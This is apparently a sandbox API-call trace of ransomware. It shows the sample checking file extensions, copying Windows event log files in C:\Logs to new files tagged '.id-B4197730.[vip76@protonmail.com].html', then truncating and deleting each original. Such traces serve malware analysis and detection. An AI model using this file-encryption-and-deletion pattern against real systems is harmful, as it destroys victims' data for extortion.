	[0076.262] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0076.262] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0076.262] lstrlenW (lpString=".doc") returned 4
	[0076.262] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.262] lstrlenW (lpString=".docx") returned 5
	[0076.262] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.262] lstrlenW (lpString=".pdf") returned 4
	[0076.262] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.262] lstrlenW (lpString=".xls") returned 4
	[0076.262] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.262] lstrlenW (lpString=".xlsx") returned 5
	[0076.262] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.262] lstrlenW (lpString=".ppt") returned 4
	[0076.262] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.262] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0076.263] lstrlenW (lpString=".zip") returned 4
	[0076.263] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.263] lstrlenW (lpString=".rar") returned 4
	[0076.263] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.263] lstrlenW (lpString=".bz2") returned 4
	[0076.263] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.263] lstrlenW (lpString=".7z") returned 3
	[0076.263] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.263] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0076.263] lstrlenW (lpString=".dbf") returned 4
	[0076.263] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.263] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0076.263] lstrlenW (lpString=".1cd") returned 4
	[0076.263] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.263] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0076.263] lstrlenW (lpString=".jpg") returned 4
	[0076.263] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.263] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0076.263] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0076.263] lstrlenW (lpString=".doc") returned 4
	[0076.263] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.263] lstrlenW (lpString=".docx") returned 5
	[0076.263] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.263] lstrlenW (lpString=".pdf") returned 4
	[0076.263] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.263] lstrlenW (lpString=".xls") returned 4
	[0076.263] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.263] lstrlenW (lpString=".xlsx") returned 5
	[0076.263] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.263] lstrlenW (lpString=".ppt") returned 4
	[0076.263] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.263] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0076.263] lstrlenW (lpString=".zip") returned 4
	[0076.264] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.264] lstrlenW (lpString=".rar") returned 4
	[0076.264] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.264] lstrlenW (lpString=".bz2") returned 4
	[0076.264] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.264] lstrlenW (lpString=".7z") returned 3
	[0076.264] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.264] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0076.264] lstrlenW (lpString=".dbf") returned 4
	[0076.264] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.264] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0076.264] lstrlenW (lpString=".1cd") returned 4
	[0076.264] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.264] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54
	[0076.264] lstrlenW (lpString=".jpg") returned 4
	[0076.264] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.264] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0076.264] lstrlenW (lpString="Microsoft-Windows-SMBClient%4Operational.evtx") returned 45
	[0076.264] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0076.264] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=69632) returned 1
	[0076.264] CloseHandle (hObject=0x350) returned 1
	[0076.265] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 0x20
	[0076.265] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.265] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0076.265] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.265] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.265] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0076.266] GetLastError () returned 0x0
	[0076.266] ReadFile (in: hFile=0x350, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0076.268] WriteFile (in: hFile=0x358, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0076.270] ReadFile (in: hFile=0x350, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.270] WriteFile (in: hFile=0x358, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x12e, lpOverlapped=0x0) returned 1
	[0076.270] SetEndOfFile (hFile=0x358) returned 1
	[0076.270] CloseHandle (hObject=0x358) returned 1
	[0076.272] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.272] SetEndOfFile (hFile=0x350) returned 1
	[0076.274] CloseHandle (hObject=0x350) returned 1
	[0076.274] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0076.274] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 1
	[0076.274] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0076.274] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0076.274] lstrlenW (lpString=".doc") returned 4
	[0076.274] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.274] lstrlenW (lpString=".docx") returned 5
	[0076.274] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.275] lstrlenW (lpString=".pdf") returned 4
	[0076.275] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.275] lstrlenW (lpString=".xls") returned 4
	[0076.275] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.275] lstrlenW (lpString=".xlsx") returned 5
	[0076.275] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.275] lstrlenW (lpString=".ppt") returned 4
	[0076.275] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.275] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0076.275] lstrlenW (lpString=".zip") returned 4
	[0076.275] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.275] lstrlenW (lpString=".rar") returned 4
	[0076.275] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.275] lstrlenW (lpString=".bz2") returned 4
	[0076.275] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.275] lstrlenW (lpString=".7z") returned 3
	[0076.275] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.275] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0076.275] lstrlenW (lpString=".dbf") returned 4
	[0076.275] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.275] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0076.275] lstrlenW (lpString=".1cd") returned 4
	[0076.275] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.275] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0076.275] lstrlenW (lpString=".jpg") returned 4
	[0076.275] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.275] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0076.275] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0076.275] lstrlenW (lpString=".doc") returned 4
	[0076.275] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.275] lstrlenW (lpString=".docx") returned 5
	[0076.275] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.275] lstrlenW (lpString=".pdf") returned 4
	[0076.276] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.276] lstrlenW (lpString=".xls") returned 4
	[0076.276] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.276] lstrlenW (lpString=".xlsx") returned 5
	[0076.276] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.276] lstrlenW (lpString=".ppt") returned 4
	[0076.276] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.276] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0076.276] lstrlenW (lpString=".zip") returned 4
	[0076.276] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.276] lstrlenW (lpString=".rar") returned 4
	[0076.276] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.276] lstrlenW (lpString=".bz2") returned 4
	[0076.276] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.276] lstrlenW (lpString=".7z") returned 3
	[0076.276] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.276] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0076.276] lstrlenW (lpString=".dbf") returned 4
	[0076.276] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.276] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0076.276] lstrlenW (lpString=".1cd") returned 4
	[0076.276] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.276] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53
	[0076.276] lstrlenW (lpString=".jpg") returned 4
	[0076.277] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.277] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0076.277] lstrlenW (lpString="Microsoft-Windows-SmbClient%4Security.evtx") returned 42
	[0076.277] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0076.280] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=69632) returned 1
	[0076.280] CloseHandle (hObject=0x350) returned 1
	[0076.280] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 0x20
	[0076.281] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.281] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0076.281] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.281] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.281] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0076.281] GetLastError () returned 0x0
	[0076.281] ReadFile (in: hFile=0x350, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0076.284] WriteFile (in: hFile=0x358, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0076.285] ReadFile (in: hFile=0x350, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.285] WriteFile (in: hFile=0x358, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x128, lpOverlapped=0x0) returned 1
	[0076.286] SetEndOfFile (hFile=0x358) returned 1
	[0076.286] CloseHandle (hObject=0x358) returned 1
	[0076.291] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.291] SetEndOfFile (hFile=0x350) returned 1
	[0076.960] CloseHandle (hObject=0x350) returned 1
	[0076.960] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0076.960] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 1
	[0077.205] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0077.205] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0077.205] lstrlenW (lpString=".doc") returned 4
	[0077.206] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.206] lstrlenW (lpString=".docx") returned 5
	[0077.206] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.206] lstrlenW (lpString=".pdf") returned 4
	[0077.206] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.206] lstrlenW (lpString=".xls") returned 4
	[0077.206] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.206] lstrlenW (lpString=".xlsx") returned 5
	[0077.206] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.206] lstrlenW (lpString=".ppt") returned 4
	[0077.206] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.206] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0077.206] lstrlenW (lpString=".zip") returned 4
	[0077.206] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.206] lstrlenW (lpString=".rar") returned 4
	[0077.206] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.206] lstrlenW (lpString=".bz2") returned 4
	[0077.206] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.206] lstrlenW (lpString=".7z") returned 3
	[0077.206] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.206] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0077.206] lstrlenW (lpString=".dbf") returned 4
	[0077.206] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.206] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0077.206] lstrlenW (lpString=".1cd") returned 4
	[0077.206] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.207] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0077.207] lstrlenW (lpString=".jpg") returned 4
	[0077.207] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.207] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0077.207] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0077.207] lstrlenW (lpString=".doc") returned 4
	[0077.207] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.207] lstrlenW (lpString=".docx") returned 5
	[0077.207] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.207] lstrlenW (lpString=".pdf") returned 4
	[0077.207] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.207] lstrlenW (lpString=".xls") returned 4
	[0077.207] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.207] lstrlenW (lpString=".xlsx") returned 5
	[0077.207] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.207] lstrlenW (lpString=".ppt") returned 4
	[0077.207] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.207] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0077.207] lstrlenW (lpString=".zip") returned 4
	[0077.207] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.207] lstrlenW (lpString=".rar") returned 4
	[0077.207] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.207] lstrlenW (lpString=".bz2") returned 4
	[0077.207] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.207] lstrlenW (lpString=".7z") returned 3
	[0077.208] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.208] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0077.208] lstrlenW (lpString=".dbf") returned 4
	[0077.208] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.208] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0077.208] lstrlenW (lpString=".1cd") returned 4
	[0077.208] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.208] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0077.208] lstrlenW (lpString=".jpg") returned 4
	[0077.208] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.208] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0077.208] lstrlenW (lpString="Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 44
	[0077.208] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0077.208] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=69632) returned 1
	[0077.209] CloseHandle (hObject=0x380) returned 1
	[0077.209] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 0x20
	[0077.209] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0077.209] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0077.209] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.209] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.209] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0077.210] GetLastError () returned 0x0
	[0077.210] ReadFile (in: hFile=0x380, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0077.213] WriteFile (in: hFile=0x35c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0077.216] ReadFile (in: hFile=0x380, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.216] WriteFile (in: hFile=0x35c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x12c, lpOverlapped=0x0) returned 1
	[0077.216] SetEndOfFile (hFile=0x35c) returned 1
	[0077.216] CloseHandle (hObject=0x35c) returned 1
	[0077.219] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.219] SetEndOfFile (hFile=0x380) returned 1
	[0077.221] CloseHandle (hObject=0x380) returned 1
	[0077.221] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0077.221] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 1
	[0077.222] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0077.222] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0077.222] lstrlenW (lpString=".doc") returned 4
	[0077.222] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.222] lstrlenW (lpString=".docx") returned 5
	[0077.222] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.222] lstrlenW (lpString=".pdf") returned 4
	[0077.222] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.222] lstrlenW (lpString=".xls") returned 4
	[0077.222] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.222] lstrlenW (lpString=".xlsx") returned 5
	[0077.222] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.222] lstrlenW (lpString=".ppt") returned 4
	[0077.222] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.222] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0077.222] lstrlenW (lpString=".zip") returned 4
	[0077.222] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.222] lstrlenW (lpString=".rar") returned 4
	[0077.222] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.222] lstrlenW (lpString=".bz2") returned 4
	[0077.222] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.222] lstrlenW (lpString=".7z") returned 3
	[0077.223] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.223] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
